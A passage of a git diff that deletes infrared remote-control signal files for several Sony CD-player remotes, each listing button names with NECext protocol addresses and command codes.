-type: parsed -protocol: NECext -address: 11 00 00 00 -command: 27 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 38 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 38 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 38 00 00 00 -# -name: FORWARD -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 38 00 00 00 -# -name: FORWARD_slow -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 38 00 00 00 -# -name: REWIND_slow -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 38 00 00 00 -# -name: REWIND -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 38 00 00 00 -# -name: NEXT -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 38 00 00 00 -# -name: PREVIOUS -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 38 00 00 00 -# -name: TIME -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 38 00 00 00 -# -name: FADER -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 38 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 38 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 38 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 38 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 38 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 38 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 38 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 38 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 38 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 38 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D295/17,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D295/17,-1.ir deleted file mode 100644 index 946257a0e..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D295/17,-1.ir +++ /dev/null @@ -1,158 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 00 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 01 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 02 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 03 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 04 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 05 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 06 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 07 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 08 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 09 00 00 00 -# -name: CONTINUE -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 1D 00 00 00 -# -name: PROGRAM -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 1F 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 20 00 00 00 -# -name: >10 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 27 00 00 00 -# -name: KEY_TIME -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 28 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 2C 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 30 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 31 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 32 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 33 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 34 00 00 00 -# -name: SHUFFLE -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 35 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 38 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 39 00 00 00 -# -name: M.SCAN -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 3C 00 00 00 -# -name: FADER -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 5F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D302/17,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D302/17,-1.ir deleted file mode 100644 index f2387ad7a..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D302/17,-1.ir +++ /dev/null @@ -1,212 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: cd_1 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 00 00 00 00 -# -name: cd_2 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 01 00 00 00 -# -name: cd_3 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 02 00 00 00 -# -name: cd_4 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 03 00 00 00 -# -name: cd_5 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 04 00 00 00 -# -name: cd_6 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 05 00 00 00 -# -name: cd_7 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 06 00 00 00 -# -name: cd_8 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 07 00 00 00 -# -name: cd_9 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 08 00 00 00 -# -name: cd_0 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 09 00 00 00 -# -name: cd_clear -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 0F 00 00 00 -# -name: cd_17 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 10 00 00 00 -# -name: cd_18 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 11 00 00 00 -# -name: cd_19 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 17 00 00 00 -# -name: cd_10 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 20 00 00 00 -# -name: cd_11 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 21 00 00 00 -# -name: cd_12 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 22 00 00 00 -# -name: cd_13 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 23 00 00 00 -# -name: cd_14 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 24 00 00 00 -# -name: cd_15 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 25 00 00 00 -# -name: cd_16 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 26 00 00 00 -# -name: cd_+10 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 27 00 00 00 -# -name: cd_time -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 28 00 00 00 -# -name: cd_20 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 29 00 00 00 -# -name: cd_ab -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 2A 00 00 00 -# -name: cd_all -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 2C 00 00 00 -# -name: cd_last -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 30 00 00 00 -# -name: cd_next -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 31 00 00 00 -# -name: cd_play -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 32 00 00 00 -# -name: cd_ind_dec -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 36 00 00 00 -# -name: cd_ind_inc -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 37 00 00 00 -# -name: cd_stop -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 38 00 00 00 -# -name: cd_pause -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 39 00 00 00 -# -name: cd_rwnd -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 3A 00 00 00 -# -name: cd_ffwd -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 3B 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D320/17,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D320/17,-1.ir deleted file mode 100644 index 8bd7402a6..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D320/17,-1.ir +++ /dev/null @@ -1,158 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 00 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 01 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 02 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 03 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 04 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 05 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 06 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 07 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 08 00 00 00 -# -name: check -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 0D 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 0F 00 00 00 -# -name: continue -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 1D 00 00 00 -# -name: program -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 1F 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 20 00 00 00 -# -name: >10 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 27 00 00 00 -# -name: KEY_TIME -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 28 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 2C 00 00 00 -# -name: track_down -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 30 00 00 00 -# -name: track_up -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 31 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 32 00 00 00 -# -name: rev -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 33 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 34 00 00 00 -# -name: shuffle -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 35 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 38 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 39 00 00 00 -# -name: fader -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 5F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D325/17,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D325/17,-1.ir deleted file mode 100644 index d134d0930..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D325/17,-1.ir +++ /dev/null @@ -1,182 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 00 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 01 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 02 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 03 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 04 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 05 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 06 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 07 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 08 00 00 00 -# -name: continue -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 1D 00 00 00 -# -name: program -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 1F 00 00 00 -# -name: ten -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 20 00 00 00 -# -name: greaterten -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 27 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 2C 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 30 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 31 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 32 00 00 00 -# -name: jumpbackward -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 33 00 00 00 -# -name: jumpforward -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 34 00 00 00 -# -name: shuffle -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 35 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 38 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 39 00 00 00 -# -name: mscan -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 3C 00 00 00 -# -name: discskip -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 3E 00 00 00 -# -name: disc1 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 40 00 00 00 -# -name: disc2 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 41 00 00 00 -# -name: disc3 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 42 00 00 00 -# -name: disc4 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 43 00 00 00 -# -name: disc5 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 44 00 00 00 -# -name: fader -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 5F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D391/17,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D391/17,-1.ir deleted file mode 100644 index 2c024cdfa..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D391/17,-1.ir +++ /dev/null @@ -1,164 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 00 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 01 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 02 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 03 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 04 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 05 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 06 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 07 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 08 00 00 00 -# -name: LINE_VOL_UP -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 12 00 00 00 -# -name: LINE_VOL_DOWN -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 13 00 00 00 -# -name: CONTINUE -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 1D 00 00 00 -# -name: PROGRAM -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 1F 00 00 00 -# -name: TEN -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 20 00 00 00 -# -name: >TEN -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 27 00 00 00 -# -name: KEY_TIME -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 28 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 2C 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 30 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 31 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 32 00 00 00 -# -name: REV -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 33 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 34 00 00 00 -# -name: SHUFFLE -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 35 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 38 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 39 00 00 00 -# -name: M.SCAN -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 3C 00 00 00 -# -name: FADER -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 5F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D520/17,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D520/17,-1.ir deleted file mode 100644 index f9f341721..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D520/17,-1.ir +++ /dev/null @@ -1,182 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 00 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 01 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 02 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 03 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 04 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 05 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 06 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 07 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 08 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 0F 00 00 00 -# -name: KEY_KPPLUS -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 12 00 00 00 -# -name: KEY_KPMINUS -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 13 00 00 00 -# -name: continue -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 1D 00 00 00 -# -name: program -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 1F 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 20 00 00 00 -# -name: >10 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 27 00 00 00 -# -name: KEY_TIME -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 28 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 2C 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 30 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 31 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 32 00 00 00 -# -name: rw -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 33 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 34 00 00 00 -# -name: shuffle -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 35 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 38 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 39 00 00 00 -# -name: m.scan -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 3C 00 00 00 -# -name: dsp.select -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 5D 00 00 00 -# -name: direct -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 5E 00 00 00 -# -name: fader -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 5F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D55/17,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D55/17,-1.ir deleted file mode 100644 index 8ad02f6b8..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D55/17,-1.ir +++ /dev/null @@ -1,176 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 00 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 01 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 02 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 03 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 04 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 05 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 06 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 07 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 08 00 00 00 -# -name: check -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 0D 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 0F 00 00 00 -# -name: pgm -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 1F 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 20 00 00 00 -# -name: KEY_0+ -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 27 00 00 00 -# -name: KEY_TIME -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 28 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 2C 00 00 00 -# -name: fback -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 30 00 00 00 -# -name: ffor -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 31 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 32 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 33 00 00 00 -# -name: for -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 34 00 00 00 -# -name: shuffle -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 35 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 38 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 39 00 00 00 -# -name: disc1 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 40 00 00 00 -# -name: disc2 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 41 00 00 00 -# -name: disc3 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 42 00 00 00 -# -name: disc4 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 43 00 00 00 -# -name: disc5 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 44 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D690/17,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D690/17,-1.ir deleted file mode 100644 index 6a07d21c6..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D690/17,-1.ir +++ /dev/null @@ -1,236 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 00 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 00 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 02 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 02 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 04 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 04 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 06 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 06 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 08 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 10 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 10 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 12 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 12 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 16 00 00 00 -# -name: KEY_OPEN -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 16 00 00 00 -# -name: continue -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 1C 00 00 00 -# -name: pgm -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 1E 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 20 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 20 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 22 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 22 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 24 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 24 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 26 00 00 00 -# -name: >20 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 26 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 28 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 2C 00 00 00 -# -name: ams_rew -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 30 00 00 00 -# -name: ams_fwd -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 30 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 32 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 32 00 00 00 -# -name: shuffle -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 34 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 34 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 38 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 38 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 3A 00 00 00 -# -name: fwd_slow -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 3A 00 00 00 -# -name: autospc -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 4E 00 00 00 -# -name: fader -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 5E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D706/17,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D706/17,-1.ir deleted file mode 100644 index e75527299..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D706/17,-1.ir +++ /dev/null @@ -1,290 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 00 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 